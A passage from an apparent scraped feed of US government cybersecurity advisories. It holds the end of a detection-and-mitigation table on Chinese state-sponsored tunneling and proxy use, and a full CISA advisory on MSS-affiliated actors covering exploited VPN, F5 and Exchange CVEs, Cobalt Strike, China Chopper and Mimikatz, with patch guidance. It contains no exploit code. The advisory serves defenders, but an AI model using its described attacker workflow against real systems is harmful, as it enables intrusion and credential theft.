[[D3-PMAD](<https://d3fend.mitre.org/technique/d3f:ProtocolMetadataAnomalyDetection>)]\n\nIsolate:\n\n * Network Isolation\n\n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)]\n\n * Outbound Traffic Filtering [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering>)] \n \nProtocol Tunneling [[T1572](<https://attack.mitre.org/versions/v9/techniques/T1572>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using tools like dog-tunnel and `dns2tcp.exe` to conceal C2 traffic with existing network activity. \n\n| \n\n * Monitor systems for connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client.\n\n * Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards.\n\n * Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) \n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Protocol Metadata Anomaly Detection [[D3-PMAD](<https://d3fend.mitre.org/technique/d3f:ProtocolMetadataAnomalyDetection>)] \n \nProxy [[T1090](<https://attack.mitre.org/versions/v9/techniques/T1090>)]: \n\n * Multi-Hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v9/techniques/T1090/003>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.\n\n| \n\nMonitor traffic for encrypted communications originating from potentially breached routers to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are authorized VPN connections or other encrypted modes of communication.\n\n * Alert on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.\n\n * Use network allow and blocklists to block traffic to known anonymity networks and C2 infrastructure.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Protocol Metadata Anomaly Detection [[D3-PMAD](<https://d3fend.mitre.org/technique/d3f:ProtocolMetadataAnomalyDetection>)]\n\n * Relay Pattern Analysis [[D3-RPA](<https://d3fend.mitre.org/technique/d3f:RelayPatternAnalysis>)]\n\nIsolate: \n\n * Network Isolation\n\n * Outbound Traffic Filtering [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering>)] \n \n### Appendix B: MITRE ATT&CK Framework \n\n\n\n_Figure 2: MITRE ATT&CK Enterprise tactics and techniques used by Chinese state-sponsored cyber actors ([Click here for the downloadable JSON file](<https://github.com/nsacyber/chinese-state-sponsored-cyber-operations-observed-ttps>).) _\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<http://www.fbi.gov/contact-us/field>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.\n\nTo request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>).\n\nFor NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or [Cybersecurity_Requests@nsa.gov.](<mailto:Cybersecurity_Requests@nsa.gov>)\n\nMedia Inquiries / Press Desk: \n\u2022 NSA Media Relations, 443-634-0721, [MediaRelations@nsa.gov](<mailto:MediaRelations@nsa.gov>) \n\u2022 CISA Media Relations, 703-235-2010, [CISAMedia@cisa.dhs.gov](<mailto:CISAMedia@cisa.dhs.gov>) \n\u2022 FBI National Press Office, 202-324-3691, [npo@fbi.gov](<mailto:npo@fbi.gov>)\n\n### References\n\n[[1] FireEye: This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits](<https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html>)\n\n### Revisions\n\nJuly 19, 2021: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-20T12:00:00", "type": "ics", "title": "Chinese State-Sponsored Cyber Operations: Observed TTPs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2021-08-20T12:00:00", "id": "AA21-200B", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-200b", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:20", "description": "### Summary\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has consistently observed Chinese Ministry of State Security (MSS)-affiliated cyber threat actors using publicly available information sources and common, well-known tactics, techniques, and procedures (TTPs) to target U.S. Government agencies. CISA has observed these\u2014and other threat actors with varying degrees of skill\u2014routinely using open-source information to plan and execute cyber operations. CISA leveraged the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) and Pre-ATT&CK frameworks to characterize the TTPs used by Chinese MSS-affiliated actors. This product was written by CISA with contributions by the Federal Bureau of Investigation (FBI).\n\n### Key Takeaways\n\n * Chinese MSS-affiliated cyber threat actors use open-source information to plan and conduct cyber operations.\n * Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.\n * Maintaining a rigorous patching cycle continues to be the best defense against the most frequently used attacks.\n * If critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network.\n * This Advisory identifies some of the more common\u2014yet most effective\u2014TTPs employed by cyber threat actors, including Chinese MSS-affiliated cyber threat actors.\n\n[Click here](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>) for a PDF version of this report.\n\n### Technical Details\n\nThrough the operation of the National Cybersecurity Protection System (NCPS) and by fulfilling its mission as the national risk advisor, CISA has observed Chinese MSS-affiliated cyber threat actors operating from the People\u2019s Republic of China using commercially available information sources and open-source exploitation tools to target U.S. Government agency networks.\n\nAccording to a recent U.S. Department of Justice indictment, MSS-affiliated actors have targeted various industries across the United States and other countries\u2014including high-tech manufacturing; medical device, civil, and industrial engineering; business, educational, and gaming software; solar energy; pharmaceuticals; and defense\u2014in a campaign that lasted over ten years.[[1](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)] These hackers acted for both their own personal gain and the benefit of the Chinese MSS.[[2](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)]\n\nAccording to the indictment,\n\n_To conceal the theft of information from victim networks and otherwise evade detection, the defendants typically packaged victim data in encrypted Roshal Archive Compressed files (RAR files), changed RAR file and victim documents\u2019 names and extensions (e.g., from \u201c.rar\u201d to \u201c.jpg\u201d) and system timestamps, and concealed programs and documents at innocuous-seeming locations on victim networks and in victim networks\u2019 \u201crecycle bins.\u201d The defendants frequently returned to re-victimize companies, government entities, and organizations from which they had previously stolen data, in some cases years after the initial successful data theft. In several instances, however, the defendants were unsuccessful in this regard, due to the efforts of the FBI and network defenders._\n\nThe continued use of open-source tools by Chinese MSS-affiliated cyber threat actors highlights that adversaries can use relatively low-complexity capabilities to identify and exploit target networks. In most cases, cyber operations are successful because misconfigurations and immature patch management programs allow actors to plan and execute attacks using existing vulnerabilities and known exploits. Widespread implementation of robust configuration and patch management programs would greatly increase network security. It would also reduce the speed and frequency of opportunistic attacks by forcing threat actors to dedicate time and funding to research unknown vulnerabilities and develop custom exploitation tools.\n\n### MITRE PRE-ATT&CK\u00ae Framework for Analysis\n\nIn the last 12 months, CISA analysts have routinely observed Chinese MSS-affiliated actors using the following PRE-ATT&CK\u00ae Framework TTPs.\n\n#### Target Selection and Technical Information Gathering\n\n_Target Selection_ [[TA0014](<https://attack.mitre.org/versions/v7/tactics/TA0014/>)] is a critical part of cyber operations. While cyber threat actors\u2019 motivations and intents are often unknown, they often make their selections based on the target network\u2019s security posture. Threat actors can use information sources such as Shodan, the Common Vulnerabilities and Exposure (CVE) database, and the National Vulnerabilities Database (NVD).[[3](<https://www.shodan.io/>)][[4](<https://cve.mitre.org/>)][[5](<https://nvd.nist.gov/>)]\n\n * Shodan is an internet search engine that can be used to identify vulnerable devices connected to the internet. Shodan queries can also be customized to discover specific vulnerabilities on devices, which enables sophisticated cyber threat actors to use relatively unsophisticated techniques to execute opportunistic attacks on susceptible targets.\n * The CVE database and the NVD contain detailed information about vulnerabilities in applications, appliances, and operating systems that can be exploited by cyber threat actors if they remain unpatched. These sources also provide risk assessments if any of the recorded vulnerabilities are successfully exploited.\n\nThese information sources have legitimate uses for network defense. CISA analysts are able to identify Federal Government systems that may be susceptible to exploitation attempts by using Shodan, the CVE database, and the NVD to enrich NCPS information. Unlike threat actors, CISA takes the necessary actions to notify network owners of their exposure in order to prevent an impending intrusion or quickly identify intrusions as they occur.\n\nWhile using these data sources, CISA analysts have observed a correlation between the public release of a vulnerability and targeted scanning of systems identified as being vulnerable. This correlation suggests that cyber threat actors also rely on Shodan, the CVE database, the NVD, and other open-source information to identify targets of opportunity and plan cyber operations. Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits. These information sources therefore contain invaluable information that can lead cyber threat actors to implement highly effective attacks.\n\nCISA has observed Chinese MSS-affiliated actors using the techniques in table 1 to gather technical information to enable cyber operations against Federal Government networks (_Technical Information Gathering_ [[TA0015](<https://attack.mitre.org/versions/v7/tactics/TA0015/>)]).\n\n_Table 1: Technical information gathering techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1245](<https://attack.mitre.org/versions/v7/techniques/T1245/>)\n\n| \n\nDetermine Approach/Attack Vector\n\n| \n\nThe threat actors narrowed the attack vectors to relatively recent vulnerability disclosures with open-source exploits. \n \n[T1247](<https://attack.mitre.org/versions/v7/techniques/T1247/>)\n\n| \n\nAcquire Open Source Intelligence (OSINT) Data Sets and Information\n\n| \n\nCISA observed activity from network proxy service Internet Protocol (IP) addresses to three Federal Government webpages. This activity appeared to enable information gathering activities. \n \n[T1254](<https://attack.mitre.org/versions/v7/techniques/T1254/>)\n\n| \n\nConduct Active Scanning\n\n| \n\nCISA analysts reviewed the network activity of known threat actor IP addresses and found evidence of reconnaissance activity involving virtual security devices. \n \n#### Technical Weakness Identification\n\nCISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure. This targeting, scanning, and probing frequently leads to compromises at the hands of sophisticated cyber threat actors. In some cases, cyber threat actors have used the same vulnerabilities to compromise multiple organizations across many sectors. Organizations do not appear to be mitigating known vulnerabilities as quickly as cyber threat actors are exploiting them. CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[[6](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)]\n\nAdditionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.\n\n_Table 2: Significant CVEs targeted by Chinese MSS-affiliated actors in the last 12 months_\n\nVulnerability\n\n| \n\nObservations \n \n---|--- \n \nCVE-2020-5902: F5 Big-IP Vulnerability\n\n| \n\nCISA has conducted incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2020-5902. This is a vulnerability in F5\u2019s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[[7](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a >)] \n \nCVE-2019-19781: Citrix Virtual Private Network (VPN) Appliances\n\n| \n\nCISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances. CVE-2019-19781 enabled the actors to execute directory traversal attacks.[[8](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a >)] \n \nCVE-2019-11510: Pulse Secure VPN Servers\n\n| \n\nCISA has conducted multiple incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances\u2014to gain access to victim networks. Although Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.[[9](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a >)] \n \nCVE-2020-0688: Microsoft Exchange Server\n\n| \n\nCISA has observed the actors exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks. \n \nAdditionally, CISA has observed Chinese MSS-affiliated actors using the techniques listed in table 3 to identify technical weaknesses in Federal Government networks (_Technical Weakness Identification _[[TA0018](<https://attack.mitre.org/versions/v7/tactics/TA0018/>)]). \n\n_Table 3: Technical weakness identification techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1288](<https://attack.mitre.org/versions/v7/techniques/T1288/>)\n\n| \n\nAnalyze Architecture and Configuration Posture\n\n| \n\nCISA observed the cyber actors scanning a Federal Government agency for vulnerable web servers. CISA also observed the threat actors scanning for known vulnerable network appliance CVE-2019-11510. \n \n[T1291](<https://attack.mitre.org/versions/v7/techniques/T1291/>)\n\n| \n\nResearch Relevant Vulnerabilities\n\n| \n\nCISA has observed the threat actors scanning and reconnaissance of Federal Government internet-facing systems shortly after the disclosure of significant CVEs. \n \n#### Build Capabilities \n\nCISA analysts have observed cyber threat actors using command and control (C2) infrastructure as part of their cyber operations. These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (_Build Capabilities _[[TA0024](<https://attack.mitre.org/versions/v7/tactics/TA0024/>)]). CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4.\n\n_Table 4: Build capabilities observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1352](<https://attack.mitre.org/versions/v7/techniques/T1352/>)\n\n| \n\nC2 Protocol Development\n\n| \n\nCISA observed beaconing from a Federal Government entity to the threat actors\u2019 C2 server. \n \n[T1328](<https://attack.mitre.org/versions/v7/techniques/T1328/>)\n\n| \n\nBuy Domain Name\n\n| \n\nCISA has observed the use of domains purchased by the threat actors. \n \n[T1329](<https://attack.mitre.org/versions/v7/techniques/T1329/>)\n\n| \n\nAcquire and / or use of 3rd Party Infrastructure\n\n| \n\nCISA has observed the threat actors using virtual private servers to conduct cyber operations. \n \n[T1346](<https://attack.mitre.org/versions/v7/techniques/T1346>)\n\n| \n\nObtain/Re-use Payloads\n\n| \n\nCISA has observed the threat actors use and reuse existing capabilities. \n \n[T1349](<https://attack.mitre.org/versions/v7/techniques/T1349>)\n\n| \n\nBuild or Acquire Exploit\n\n| \n\nCISA has observed the threat actors using a variety of open-source and publicly available exploits and exploit code to compromise Federal Government networks. \n \n### MITRE ATT&CK Framework for Analysis\n\nCISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools to conduct their operations. For example, threat actors often leverage internet software repositories such as GitHub and Exploit-DB.[[10](<https://www.GitHub.com >)][[11](<https://exploit-db.com >)] Both repositories are commonly used for legitimate development and penetration testing and developing open-source code, but cyber threat actors can also use them to find code to enable nefarious actions.\n\nDuring incident response activities, CISA frequently observed Chinese government-affiliated actors using the open-source tools outlined in table 5.\n\n_Table 5: Common exploit tools CISA observed used by Chinese MSS-affiliated actors_\n\nTool\n\n| \n\nObservations \n \n---|--- \n \n[Cobalt Strike](<https://attack.mitre.org/versions/v7/software/S0154/>)\n\n| \n\nCISA has observed the threat actors using Cobalt Strike to target commercial and Federal Government networks. Cobalt Strike is a commercial penetration testing tool used to conduct red team operations. It contains a number of tools that complement the cyber threat actor\u2019s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers. \n \n[China Chopper Web Shell](<https://attack.mitre.org/versions/v7/software/S0020/>)\n\n| \n\nCISA has observed the actors successfully deploying China Chopper against organizations\u2019 networks. This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB. China Chopper is a web shell hosted on a web server. It is mainly used for web application attacks, and it is configured in a client/server relationship. China Chopper contains security scanners and can be used to upload files and brute-force passwords. \n \n[Mimikatz](<https://attack.mitre.org/versions/v7/software/S0002/>)\n\n| \n\nCISA has observed the actors using Mimikatz during their operations. This open-source tool is used to capture account credentials and perform privilege escalation with pass-the-hash attacks that allow an attacker to pass captured password hashes and authenticate to network devices.[[12](<https://www.varonis.com/blog/what-is-mimikatz/ >)] \n \nThe following sections list the ATT&CK Framework TTPs routinely employed by Chinese government-affiliated actors to conduct cyber operations as observed by CISA analysts.\n\n#### Initial Access \n\nIn the last 12 months, CISA has observed Chinese MSS-affiliated actors use spearphishing emails with embedded links to actor-owned infrastructure and, in some cases, compromise or poison legitimate sites to enable cyber operations.\n\nCISA has observed the threat actors using the _Initial Access_ [[TA0001](<https://attack.mitre.org/versions/v7/tactics/TA0001/>)] techniques identified in table 6.\n\n_Table 6: Initial access techniques observed by CISA_\n\n**MITRE ID**\n\n| \n\n**Name**\n\n| \n\n**Observation** \n \n---|---|--- \n \n[T1204.001](<https://attack.mitre.org/versions/v7/techniques/T1204/001/>)\n\n| \n\nUser Execution: Malicious Link\n\n| \n\nCISA has observed indications that users have clicked malicious links embedded in spearphishing emails that the threat actors sent \n \n[T1566.002](<https://attack.mitre.org/versions/v7/techniques/T1566/002>)\n\n| \n\nPhishing: Spearphishing Link\n\n| \n\nCISA analyzed network activity of a Federal Government entity and concluded that the threat actors sent a malicious email weaponized with links. \n \n[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190>)\n\n| \n\nExploit Public-Facing Application\n\n| \n\nCISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers. \n \nCyber threat actors can continue to successfully launch these types of low-complexity attacks\u2014as long as misconfigurations in operational environments and immature patch management programs remain in place\u2014by taking advantage of common vulnerabilities and using readily available exploits and information.\n\n#### Execution \n\nCISA analysts continue to observe beaconing activity indicative of compromise or ongoing access to Federal Government networks. This beaconing is a result of cyber threat actors successfully completing cyber operations that are often designed around emergent vulnerabilities and reliant on existing exploitation tools, as mentioned in this document.\n\nCISA has observed Chinese MSS-affiliated actors using the _Execution _[[TA0002](<https://attack.mitre.org/versions/v7/tactics/TA0002/>)] technique identified in table 7.\n\n_Table 7: Execution technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1072](<https://attack.mitre.org/versions/v7/techniques/T1072>)\n\n| \n\nSoftware Deployment Tools\n\n| \n\nCISA observed activity from a Federal Government IP address beaconing out to the threat actors\u2019 C2 server, which is usually an indication of compromise. \n \n#### Credential Access \n\nCyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks. While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals. Further, a threat actor does not require a high degree of competence or sophistication to successfully carry out this kind of opportunistic attack.\n\nCISA has observed Chinese MSS-affiliated actors using the _Credential Access_ [[TA0006](<https://attack.mitre.org/versions/v7/tactics/TA0006/>)] techniques highlighted in table 8.\n\n_Table 8: Credential access techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1003.001](<https://attack.mitre.org/versions/v7/techniques/T1003/001/>)\n\n| \n\nOperating System (OS) Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory\n\n| \n\nCISA observed the threat actors using Mimikatz in conjunction with coin miner protocols and software. The actors used Mimikatz to dump credentials from the OS using a variety of capabilities resident within the tool. \n \n[T1110.004](<https://attack.mitre.org/versions/v7/techniques/T1110/004>)\n\n| \n\nBrute Force: Credential Stuffing\n\n| \n\nCISA observed what was likely a brute-force attack of a Remote Desktop Protocol on a public-facing server. \n \n#### Discovery \n\nAs with any cyber operation, cyber threat actors must be able to confirm that their target is online and vulnerable\u2014there are a multitude of open-source scanning and reconnaissance tools available to them to use for this purpose. CISA consistently observes scanning activity across federal agencies that is indicative of discovery techniques. CISA has observed Chinese MSS-affiliated actors scanning Federal Government traffic using the discovery technique highlighted in table 9 (_Discovery_ [[TA0007](<https://attack.mitre.org/versions/v7/tactics/TA0007/>)]).\n\n_Table 9: Discovery technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1046](<https://attack.mitre.org/versions/v7/techniques/T1046/>)\n\n| \n\nNetwork Service Scanning\n\n| \n\nCISA has observed suspicious network scanning activity for various ports at Federal Government entities. \n \n#### Collection \n\nWithin weeks of public disclosure of CVE-2020-0688, CISA analysts identified traffic that was indicative of Chinese MSS-affiliated threat actors attempting to exploit this vulnerability using the _Collection_ [[TA0009](<https://attack.mitre.org/versions/v7/tactics/TA0009/>)] technique listed in table 10.\n\n_Table 10: Collection technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1114](<https://attack.mitre.org/versions/v7/techniques/T1114>)\n\n| \n\nEmail Collection\n\n| \n\nCISA observed the actors targeting CVE-2020-0688 to collect emails from the exchange servers found in Federal Government environments. \n \n#### Command and Control \n\nCISA analysts often observe cyber threat actors using external proxy tools or hop points to enable their cyber operations while remaining anonymous. These proxy tools may be commercially available infrastructure as a service (IaaS) or software as a service (SaaS) in the form of a web browser promising anonymity on the internet. For example, \u201cThe Onion Router\u201d (Tor) is often used by cyber threat actors for anonymity and C2. Actor\u2019s carefully choose proxy tools depending on their intended use. These techniques are relatively low in complexity and enabled by commercially available tools, yet they are highly effective and often reliant upon existing vulnerabilities and readily available exploits.\n\nCISA has observed Chinese MSS-affiliated actors using the _Command and Control_ [[TA0011](<https://attack.mitre.org/versions/v7/tactics/TA0011/>)] techniques listed in table 11.\n\n_Table 11: Command and control techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1090.002](<https://attack.mitre.org/versions/v7/techniques/T1090/002>)\n\n| \n\nProxy: External Proxy\n\n| \n\nCISA observed activity from a network proxy tool to 221 unique Federal Government agency IP addresses. \n \n[T1090.003](<https://attack.mitre.org/versions/v7/techniques/T1090/003>)\n\n| \n\nProxy: Multi-hop Proxy\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n[T1573.002](<https://attack.mitre.org/versions/v7/techniques/T1573/002>)\n\n| \n\nEncrypted Channel: Asymmetric Cryptography\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n### Mitigations\n\nCISA asserts with high confidence that sophisticated cyber threat actors will continue to use open-source resources and tools to target networks with a low security posture. When sophisticated cyber threat actors conduct operations against soft targets, it can negatively impact critical infrastructure, federal, and state, local, tribal, territorial government networks, possibly resulting in loss of critical data or personally identifiable information.\n\nCISA and the FBI recommend that organizations place an increased priority on patching the vulnerabilities routinely exploited by MSS-affiliated cyber actors. See table 12 for patch information on the CVEs mentioned in this report. For more information on vulnerabilities routinely exploited by sophisticated cyber actors, see [CISA Alert: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>).\n\n_Table 12: Patch Information for Vulnerabilities Routinely Exploited by MSS-affiliated Cyber Actors_\n\nVulnerability\n\n| \n\nVulnerable Products\n\n| \n\nPatch Information \n \n---|---|--- \n \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n\n| \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\n * Citrix Application Delivery Controller\n\n * Citrix Gateway\n\n * Citrix SDWAN WANOP\n\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n * Microsoft Exchange Servers\n\n| \n\n * [Microsoft Security Advisory: CVE-2020-0688: Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n \nCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats. Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems. \n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto: CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [central@cisa.dhs.gov](<mailto: Central@cisa.dhs.gov>).\n\n### References\n\n[[1] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[2] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[3] Shodan](<https://www.shodan.io>)\n\n[[4] MITRE Common Vulnerabilities and Exposures List](<https://cve.mitre.org>)\n\n[[5] National Institute of Standards and Technology National Vulnerability Database](<https://nvd.nist.gov/>)\n\n[[6] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[7] CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>)\n\n[[8] CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n\n[[9] CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n\n[[10] GitHub](<https://www.GitHub.com>)\n\n[[11] Exploit-DB](<https://www.exploit-db.com/>)\n\n[[12] What is Mimikatz: The Beginner's Guide (VARONIS)](<https://www.varonis.com/blog/what-is-mimikatz/>)\n\n### Revisions\n\nSeptember 14, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "Chinese 